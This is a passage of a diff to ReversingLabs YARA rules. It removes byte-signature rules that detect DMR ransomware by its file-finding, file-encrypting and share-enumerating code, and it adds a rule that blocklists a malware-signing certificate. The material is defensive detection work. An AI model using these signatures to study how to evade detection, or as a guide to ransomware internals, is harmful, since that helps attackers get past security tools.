57 8B D9 89 54 24 ?? B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? BE ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? F3 A5 6A ?? 6A ?? 8D - 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 66 A5 50 6A ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B - E5 5D C3 8D 44 24 ?? 50 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? 8D 84 24 ?? - ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F - 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 8D 44 24 ?? 50 FF 74 24 - ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? E9 ?? ?? ?? ?? 8B 43 ?? 8B 3D ?? ?? ?? ?? 50 89 44 24 ?? 89 44 24 ?? 8D 44 24 ?? - 50 6A ?? 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 51 BA - ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 83 7B ?? ?? 72 ?? 8B 1B FF 74 24 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? FF - 74 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 4C 24 - ?? 8B 44 24 ?? 5F 89 01 8B C6 8B 8C 24 ?? ?? ?? ?? 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 - 5D C3 - } - $enum_shares = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 75 ?? 8B 45 ?? 8D 4D ?? 51 50 - 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? - ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 0F 1F 40 ?? 33 DB 39 5D ?? 0F 8E ?? ?? ?? ?? 83 C7 ?? 66 90 F7 47 ?? ?? ?? ?? ?? 74 - ?? 8D 47 ?? 89 45 ?? 8B 06 8B 48 ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8D 55 ?? 52 FF 50 - ?? E9 ?? ?? ?? ?? 8B 17 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8D 70 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C6 D1 F8 83 F8 ?? 77 ?? 8D 34 00 - 89 45 ?? 56 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 44 35 ?? EB ?? 52 C6 - 45 ?? ?? 8D 4D ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? - 50 8B 4E ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 83 C7 ?? - 3B 5D ?? 0F 8C ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 57 8D 45 ?? C7 - 45 ?? ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 FF 15 ?? - ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D - ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files and $encrypt_files and $enum_shares ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "5b:47:a4:73:9d:d8:ff:e8:1d:9b:53:07" and 1476953007 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_DMR : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4F5A9Bf75Da76B949645475473793A7D : INFO FILE { meta: - description = "Yara rule that detects DMR ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "45d8f91f-d2d0-5c6e-a29e-b8c9c29dc296" - date = "2020-06-26" - modified = "2020-07-15" + id = "90cdf420-bdfc-509a-a64f-f30710f09f3b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DMR.yara#L1-L214" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14712-L14728" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "55e19f3017c2cc8355c27f9a516e611b58b108f15bfed41b88d5662b55677a59" + logic_hash = "8c58d30b1b6ef80409d9da5f5f4bc26a8818b01cc388b5966c8b68ed0e4c5a2a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DMR" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 - 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? - 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? - ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? - ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B - CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? - 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 - 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 - ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 - } - $find_files_p2 = { - 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? - ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? - ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? - 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? - ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? - 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 55 ?? FF B5 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 8B 55 ?? 88 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? - ?? 8D 55 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 45 ?? - 83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 E0 ?? 8D 4D ?? 83 7D ?? ?? 50 0F 43 - } - $encrypt_files_p2 = { - 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 8D - ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? - ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D BE ?? - ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B C7 89 BD ?? ?? ?? ?? 72 ?? 8B 07 83 7F ?? ?? 75 - ?? 0F B6 00 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? C7 86 ?? ?? ?? ?? ?? - ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8B 86 ?? ?? ?? ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 8B 86 ?? ?? - ?? ?? 83 7D ?? ?? 99 0F 43 4D ?? 52 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 8B 55 ?? 3B CA 77 ?? 83 7D ?? ?? 8D 45 ?? 89 4D ?? 0F 43 45 ?? C6 04 01 ?? - EB ?? 8B 45 ?? 8B F9 2B FA 2B C2 3B F8 77 ?? 83 7D ?? ?? 8D 75 ?? 57 0F 43 75 ?? 03 - } - $encrypt_files_p3 = { - F2 89 4D ?? 6A ?? 56 E8 ?? ?? ?? ?? C6 04 3E ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? EB ?? 6A - ?? 57 C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B BD ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 - ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? - 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 89 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8D - 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8B 40 ?? FF D0 85 C0 74 ?? 8B - 08 6A ?? 8B 11 8B C8 FF D2 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 D2 8B 40 ?? 03 C8 - B8 ?? ?? ?? ?? 39 51 ?? 0F 45 C2 EB ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? - 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 6A ?? 50 E8 ?? ?? ?? ?? - 81 C6 ?? ?? ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 - } - $encrypt_files_p4 = { - C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B 47 ?? 72 ?? 8B 3F 83 F8 ?? 75 - ?? 0F B6 07 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B BD ?? ?? ?? ?? 85 C0 75 ?? 8D - 45 ?? 50 83 EC ?? 8D 87 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC - ?? C6 45 ?? ?? 8B CC 56 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB ?? 8B BD ?? ?? - ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? - 8D 45 ?? 3B C6 74 ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 FF 76 ?? 8D 4D ?? 50 E8 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 C7 46 ?? - ?? ?? ?? ?? 8D 55 ?? C6 00 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? FF 75 ?? 0F 43 55 ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? - 0B 41 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D - 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B C8 C6 - 45 ?? ?? 8B 41 ?? 8B 51 ?? 2B C2 83 F8 ?? 72 ?? 83 79 ?? ?? 8D 42 ?? 89 41 ?? 8B C1 - 72 ?? 8B 01 66 C7 04 02 ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 0F 10 01 0F 11 85 ?? ?? ?? ?? F3 0F 7E 41 ?? 66 0F D6 85 ?? ?? ?? ?? - C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B - } - $encrypt_files_p5 = { - C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? C7 04 01 ?? ?? ?? ?? C6 44 01 ?? ?? 8D 85 ?? ?? ?? - ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? - ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? - ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? 8D 47 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 - 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? - ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83 - F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? - ?? 66 C7 04 08 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 - 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45 - } - $encrypt_files_p6 = { - 8B BD ?? ?? ?? ?? 8B C7 8B 8D ?? ?? ?? ?? 2B C1 8B 56 ?? 3B D0 76 ?? 8B 46 ?? 2B C2 - 3B C1 72 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 8B CE 50 6A ?? E8 ?? - ?? ?? ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 - ?? ?? ?? ?? C6 00 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? - ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 6A ?? 68 ?? ?? ?? ?? 83 F8 ?? 72 ?? 83 FA ?? - 8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 03 F1 89 85 ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 83 C4 ?? C6 46 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E 40 ?? 66 - 0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ?? - ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? - 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 - ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? - 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? - ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 - } - $encrypt_files_p7 = { - FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 - 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? - ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? - 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? - 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? - 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? - 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B - } - $encrypt_files_p8 = { - 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? - ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 - ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 66 89 85 ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? - ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? - 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 - ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 EC ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 - C6 45 ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 E8 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? - ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? - ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? - ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 - } - $encrypt_files_p9 = { - 83 C0 ?? 83 